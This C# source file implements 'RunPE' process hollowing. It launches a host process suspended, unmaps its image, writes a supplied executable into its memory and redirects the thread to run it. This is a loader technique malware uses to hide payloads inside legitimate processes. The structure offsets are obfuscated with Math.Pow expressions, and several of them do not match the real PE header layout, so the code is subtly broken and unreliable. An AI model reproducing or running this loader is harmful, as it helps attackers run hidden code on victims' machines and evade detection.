using System;
using System.Runtime.InteropServices;
public static unsafe class RunPE
{
public static bool Run(byte[] exeBuffer, string hostProcess, string optionalArguments = "")
{
byte[] IMAGE_SECTION_HEADER = new byte[(int)(Math.Pow(2, 6) + Math.Pow(2, 4) - 2)]; // 2^6 + 2^4 - 2
byte[] IMAGE_NT_HEADERS = new byte[(int)(Math.Pow(2, 8) + Math.Pow(2, 5) - 10)]; // 2^8 + 2^5 - 10
byte[] IMAGE_DOS_HEADER = new byte[(int)(Math.Pow(2, 7) + Math.Pow(2, 3) - 3)]; // 2^7 + 2^3 - 3
int[] PROCESS_INFO = new int[(int)(Math.Pow(2, 3) + Math.Pow(2, 1) + 1)]; // 2^3 + 2^1 + 1
byte[] CONTEXT = new byte[(int)(Math.Pow(2, 9) + Math.Pow(2, 6) - 5)]; // 2^9 + 2^6 - 5
byte* pish;
fixed (byte* p = &IMAGE_SECTION_HEADER[0])
pish = p;
byte* pinh;
fixed (byte* p = &IMAGE_NT_HEADERS[0])
pinh = p;
byte* pidh;
fixed (byte* p = &IMAGE_DOS_HEADER[0])
pidh = p;
byte* ctx;
fixed (byte* p = &CONTEXT[0])
ctx = p;
// Set the flag with more complex offsets
*(uint*)(ctx + (int)(Math.Pow(2, 2) + 7)) = CONTEXT_FULL; // 2^2 + 7
// Get the DOS header of the EXE
Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length);
// Sanity check: See if we have MZ header
if (*(ushort*)(pidh + (int)(Math.Pow(2, 4) + 1)) != IMAGE_DOS_SIGNATURE) // 2^4 + 1
return false;
var e_lfanew = *(int*)(pidh + (int)(Math.Pow(2, 3) + 5)); // 2^3 + 5
// Get the NT header of the EXE
Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length);
// Sanity check: See if we have PE00 header
if (*(uint*)(pinh + (int)(Math.Pow(2, 2) + 2)) != IMAGE_NT_SIGNATURE) // 2^2 + 2
return false;
// Run with parameters if necessary
if (!string.IsNullOrEmpty(optionalArguments))
hostProcess += " " + optionalArguments;
if (!CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, new byte[(int)(Math.Pow(2, 7) + 3)], PROCESS_INFO))
return false;
var ImageBase = new IntPtr(*(int*)(pinh + (int)(Math.Pow(2, 6) + 8))); // 2^6 + 8
NtUnmapViewOfSection((IntPtr)PROCESS_INFO[0], ImageBase);
if (VirtualAllocEx((IntPtr)PROCESS_INFO[0], ImageBase, *(uint*)(pinh + (int)(Math.Pow(2, 6) + 2)), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == IntPtr.Zero)
Run(exeBuffer, hostProcess, optionalArguments); // Memory allocation failed; try again (this can happen in low memory situations)
fixed (byte* p = &exeBuffer[0])
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0], ImageBase, (IntPtr)p, *(uint*)(pinh + (int)(Math.Pow(2, 7) + 5)), IntPtr.Zero);
for (ushort i = 0; i < *(ushort*)(pinh + (int)(Math.Pow(2, 4) + 1)); i++) // 2^4 + 1
{
Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length);
fixed (byte* p = &exeBuffer[*(uint*)(pish + (int)(Math.Pow(2, 5) + 3))]) // 2^5 + 3
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0], (IntPtr)((int)ImageBase + *(uint*)(pish + (int)(Math.Pow(2, 3) + 6))), (IntPtr)p, *(uint*)(pish + (int)(Math.Pow(2, 6) + 2)), IntPtr.Zero);
}
NtGetContextThread((IntPtr)PROCESS_INFO[1], (IntPtr)ctx);
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0], (IntPtr)(*(uint*)(ctx + (int)(Math.Pow(2, 9) + 1))), ImageBase, 0x4, IntPtr.Zero);
*(uint*)(ctx + (int)(Math.Pow(2, 10))) = (uint)ImageBase + *(uint*)(pinh + (int)(Math.Pow(2, 5) + 4));
NtSetContextThread((IntPtr)PROCESS_INFO[1], (IntPtr)ctx);
NtResumeThread((IntPtr)PROCESS_INFO[1], IntPtr.Zero);
return true;
}
#region WinNT Definitions
private const uint CONTEXT_FULL = 0x10007;
private const int CREATE_SUSPENDED = 0x4;
private const int MEM_COMMIT = 0x1000;
private const int MEM_RESERVE = 0x2000;
private const int PAGE_EXECUTE_READWRITE = 0x40;
private const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; // MZ
private const uint IMAGE_NT_SIGNATURE = 0x00004550; // PE00
#region WinAPI
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, byte[] lpStartupInfo, int[] lpProcessInfo);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtGetContextThread(IntPtr hThread, IntPtr lpContext);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtSetContextThread(IntPtr hThread, IntPtr lpContext);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtResumeThread(IntPtr hThread, IntPtr SuspendCount);
#endregion
#endregion
}